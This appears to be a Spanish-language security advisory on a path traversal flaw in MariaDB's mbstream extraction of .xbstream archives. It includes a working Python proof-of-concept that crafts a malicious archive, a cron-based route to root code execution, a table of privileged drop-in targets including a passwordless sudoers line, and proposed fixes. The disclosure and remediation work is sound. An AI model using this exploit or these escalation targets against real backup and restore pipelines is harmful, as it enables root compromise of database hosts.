Resumen
El código de extracción de archivos xbstream de mbstream —la utilidad de extracción que acompaña al paquete mariadb-backup— no rechazaba los componentes de ruta .. que vienen dentro de un archivo .xbstream. La única protección existente, el indicador MY_RELATIVE_PATH que se pasa a fn_format(), impide rutas absolutas, pero no el recorrido de directorios mediante rutas relativas del tipo ../../etc/cron.d/evil.
La consecuencia es un path traversal de extracción de archivos (CWE-22, la misma clase que Zip Slip): un .xbstream manipulado puede hacer que la extracción cree ficheros fuera del directorio de destino elegido, en rutas controladas por el atacante hasta donde lleguen los permisos del usuario que extrae. El investigador (riscj) lo verificó de principio a fin sobre MariaDB 12.2.2 en Debian 12: un único archivo .xbstream entregado a mbstream -x ejecutándose como root acababa en ejecución de comandos como root a través de cron en menos de 60 segundos.
El reporte referencia los CVE de la familia Zip Slip original (CVE-2018-1002200 y CVE-2018-1002201), cuya puntuación CVSS se movía en el rango 7-9, como precedente de la misma clase de fallo.
Condiciones para explotarlo
Para llegar a la ejecución de código tienen que darse estas condiciones:
- El atacante puede aportar o influir en el contenido de un archivo
.xbstreamque la víctima extrae más tarde (buckets de copia de seguridad, siembra de réplicas, pipelines de recuperación ante desastres, volúmenes de backup de operadores de Kubernetes, verificaciones de restauración programadas, etc.). - La víctima ejecuta
mbstream -xsobre ese archivo. - El nivel de privilegios del usuario que extrae determina el impacto. Los pipelines de restauración suelen correr como
root(escalada a ejecución de código como root vía directorios de drop-in escribibles como/etc/cron.d/); si corren como el usuariomysql, siguen expuestos a la primitiva de creación de ficheros.
Pasos de reproducción
Código afectado
La función de creación de ficheros durante la extracción está en extra/mariabackup/ds_local.cc, local_open() (líneas 89-118):
static ds_file_t *
local_open(ds_ctxt_t *ctxt, const char *path, MY_STAT *mystat)
{
char fullpath[FN_REFLEN];
char dirpath[FN_REFLEN];
size_t dirpath_len;
...
fn_format(fullpath, path, ctxt->root, "", MYF(MY_RELATIVE_PATH)); // (1)
dirname_part(dirpath, fullpath, &dirpath_len);
if (my_mkdir(dirpath, 0777, MYF(0)) < 0 && my_errno != EEXIST) { // (2)
...
}
fd = my_create(fullpath, 0, O_WRONLY | O_BINARY | O_EXCL | O_NOFOLLOW,
MYF(MY_WME)); // (3)
...
}
(1) MY_RELATIVE_PATH debería mantener path por debajo de ctxt->root, pero la implementación en mysys/mf_format.c:46-52 solo comprueba si la ruta es «dura» (absoluta):
else if ((flag & MY_RELATIVE_PATH) && !test_if_hard_path(dev))
{
/* Put 'dir' before the given path */
pos = convert_dirname(dev, dir, NullS);
strmake(pos, buff, ...);
}
test_if_hard_path() (mysys/my_getwd.c:132) clasifica como «dura» solo las rutas que empiezan por / o ~/. Por eso una ruta como ../../etc/cron.d/evil se considera «relativa» y simplemente se le antepone el directorio de destino:
- directorio de destino:
/tmp/restore - ruta del fragmento:
../../etc/cron.d/evil fullpathresultante:/tmp/restore/../../etc/cron.d/evil- tras resolver el kernel los
..:/etc/cron.d/evil
(2) En ningún punto de este flujo se normalizan los .. en espacio de usuario. dirname_part() recorta el último componente para obtener dirpath pero deja intactos los ..; my_mkdir() y después my_create() pasan la cadena sin normalizar directamente al kernel, que resuelve los .. en la frontera de la llamada al sistema. Como EEXIST se tolera en silencio, la llamada tiene éxito con cualquier destino de traversal cuyo directorio padre ya exista, lo que cubre los objetivos realistas (/etc/cron.d, /etc/profile.d, /etc/sudoers.d, etc.).
(3) my_create() abre el fichero con O_EXCL | O_NOFOLLOW: no se pueden sobrescribir ficheros existentes ni se siguen enlaces simbólicos, pero sí se pueden crear ficheros nuevos en la ruta alcanzada por el traversal, que es lo que basta para el ataque.
La ruta del fragmento se lee directamente de la cabecera del archivo en extra/mariabackup/xbstream_read.cc:144-160 y se pasa a local_open() en extra/mariabackup/xbstream.cc:334 (file = ds_open(ctxt->ds_ctxt, path, NULL);) sin más saneamiento que un tope de longitud de FN_REFLEN.
Prueba de concepto
La PoC genera un archivo xbstream mínimo válido con un fragmento de carga y un fragmento EOF, ambos con una ruta prefijada con ../. El guion auxiliar (craft_evil_xbstream.py) construye ese archivo:
#!/usr/bin/env python3
"""Craft a minimal xbstream containing one payload chunk and one EOF chunk.
Usage: craft_evil_xbstream.py <CHUNK_PATH> <PAYLOAD_BYTES> <OUTFILE>
"""
import struct, zlib, sys
CHUNK_MAGIC = b'XBSTCK01'
TYPE_PAYLOAD = b'P'
TYPE_EOF = b'E'
def make_payload_chunk(path: bytes, payload: bytes) -> bytes:
out = CHUNK_MAGIC
out += b'\x00' # flags = 0
out += TYPE_PAYLOAD # type = 'P'
out += struct.pack('<I', len(path)) # path length (LE)
out += path
out += struct.pack('<Q', len(payload)) # payload length (8 bytes LE)
out += struct.pack('<Q', 0) # offset in source file
out += struct.pack('<I', zlib.crc32(payload) & 0xFFFFFFFF)
out += payload
return out
def make_eof_chunk(path: bytes = b'eof') -> bytes:
out = CHUNK_MAGIC + b'\x00' + TYPE_EOF
out += struct.pack('<I', len(path)) + path
return out
with open(sys.argv[3], 'wb') as f:
f.write(make_payload_chunk(sys.argv[1].encode(), sys.argv[2].encode()))
f.write(make_eof_chunk(sys.argv[1].encode()))
print('wrote', sys.argv[3])
Al extraer el archivo con mbstream -x -C /tmp/restore_target, la ruta ../../etc/cron.d/evil se resuelve fuera del destino y se crea un fichero nuevo en /etc/cron.d/evil. El investigador lo probó con una entrada de cron como carga: una vez crond relee /etc/cron.d/, programa el nuevo trabajo y lo ejecuta como root en el siguiente cambio de minuto. En su VM de prueba el fichero quedó creado como root:root y la tarea se disparó a los ~40 segundos.
La secuencia completa es:
mbstream -xextrae el archivo y sale del directorio de destino por el traversal.- Se crea
/etc/cron.d/evilcon la entrada de cron del atacante. crondrelee/etc/cron.d/y programa el nuevo trabajo.- En el siguiente cambio de minuto, el trabajo se ejecuta como root.
No hace falta acceso previo por shell al host ni credenciales de MariaDB: basta con que el atacante consiga colar un .xbstream malicioso en un flujo de restauración.
Impacto
La primitiva es la creación de ficheros nuevos con los privilegios del usuario que ejecuta mbstream -x, en cualquier lugar del sistema de ficheros donde ese usuario pueda crear ficheros y cuyo directorio padre resuelto ya exista. Cuando la extracción corre como root (lo habitual en restauraciones), se escala a ejecución de comandos como root escribiendo un fichero nuevo en un directorio de drop-in privilegiado:
| Destino drop-in | Mecanismo | Tiempo hasta ejecución | |---|---|---| | /etc/cron.d/evil | crond vigila el directorio y recoge los ficheros nuevos; se ejecuta en el siguiente cambio de minuto | ~60 segundos | | /etc/sudoers.d/evil | sudo evalúa los nuevos drop-ins en la siguiente invocación; attacker ALL=(ALL) NOPASSWD: ALL da sudo total | próxima llamada a sudo | | /etc/profile.d/evil.sh | la shell carga estos ficheros en el siguiente login interactivo | próximo login | | /etc/ld.so.preload | el loader lo honra en cada exec() posterior (solo si el fichero no existe ya, porque O_EXCL impide sobrescribir) | siguiente proceso | | ~/.ssh/authorized_keys | sshd permite el login si existe .ssh/ pero no authorized_keys | inmediato |
Canales de entrega realistas de un .xbstream malicioso:
- Pipelines de restauración que descargan
.xbstreamde S3, NFS, HTTP o SFTP y extraen en local. Quien tenga escritura en el almacén de origen puede crear un archivo malicioso; los buckets de backup suelen ser de menor confianza que la propia base de datos. - Siembra de réplicas / aprovisionamiento de sitios de DR, donde una réplica nueva recibe el flujo de un host «donante»; un donante comprometido puede entregar un flujo malicioso.
- Promoción entre entornos: un atacante en un entorno de menor confianza (dev, staging) planta un
.xbstreammalicioso en un spool de backup compartido que el entorno de mayor confianza consume en su restauración periódica. - Operadores de Kubernetes:
mariadb-operatorejecutambstream -x -C <dir> < <file>durante la restauración (pkg/command/backup.go:316,470) comorootdentro del pod del operador. Con escritura en el PVC de backup o el bucket, se dispara el fallo en cada restauración de forma automática, sin interacción del usuario (el reporte eleva el CVSS a ~8,8 en este caso). - Automatización de verificación de backups (cron, CI, monitorización) que restaura periódicamente en un host de pruebas que trata el origen como no confiable.
Aun sin cron, la primitiva de creación de ficheros fuera del destino permite corromper el estado del sistema, envenenar configuración de aplicaciones, plantar ficheros para su ejecución posterior o provocar una denegación de servicio.
Remediación
El investigador propone anclar la extracción a un descriptor de directorio fijo abierto sobre ctxt->root y acceder a cada fichero extraído mediante openat()/mkdirat() con validación explícita componente a componente, lo que elimina además las condiciones de carrera de resolución de rutas:
- Al crear el datasink local, abrir
ctxt->rootconO_RDONLY | O_DIRECTORY | O_CLOEXECy guardar el descriptor comoctxt->rootfd. - Para cada fragmento, sustituir la cadena
fn_format→my_mkdir→my_createpor un recorrido que divida la ruta por/y, para cada componente, rechace los vacíos,.,..o con caracteres no permitidos (la clave es rechazar..). Los componentes intermedios se crean conmkdirat()(tolerandoEEXIST) y se abren conopenat(... O_DIRECTORY | O_NOFOLLOW | O_CLOEXEC), avanzando el descriptor actual; el componente final se crea conopenat(current_dirfd, component, O_WRONLY | O_CREAT | O_EXCL | O_NOFOLLOW, mode). - El recorrido empieza con
current_dirfd = dup(ctxt->rootfd), de modo que nunca se resuelven..contra el sistema de ficheros del host.
Propiedades esenciales: openat() siempre contra un rootfd fijo; rechazo léxico de .. y rutas absolutas antes de que ninguna llamada al sistema las vea; O_NOFOLLOW en cada paso intermedio para frustrar carreras de sustitución por symlink; y O_DIRECTORY para fallar rápido si se sustituye un directorio por algo que no lo es.
Como mínimo parche de contención, el reporte incluye un filtro de cadena aplicado a path antes de ds_open() que rechaza rutas absolutas, ~, y cualquier aparición de .. al principio, al final o incrustada como /../:
static bool path_is_safe(const char *path) {
/* No absolute or home paths */
if (path[0] == '/' || path[0] == '~')
return false;
/* No "..", "../", "/..", or any embedded "/../" */
if (!strcmp(path, "..") || !strncmp(path, "../", 3))
return false;
if (strstr(path, "/../") != NULL)
return false;
size_t n = strlen(path);
if (n >= 3 && !strcmp(path + n - 3, "/.."))
return false;
return true;
}
/* In file_entry_new() before ds_open(): */
if (!path_is_safe(path)) {
msg("xbstream: refusing unsafe path '%s'", path);
return NULL;
}
El investigador advierte de que este filtro de cadena es superficial (los filtros sobre rutas tienen un largo historial de bypass) y de que la vía intermedia de realpath() sobre el directorio padre sigue teniendo exposición TOCTOU entre la comprobación y el open() posterior, que el patrón openat() con dirfd sí evita.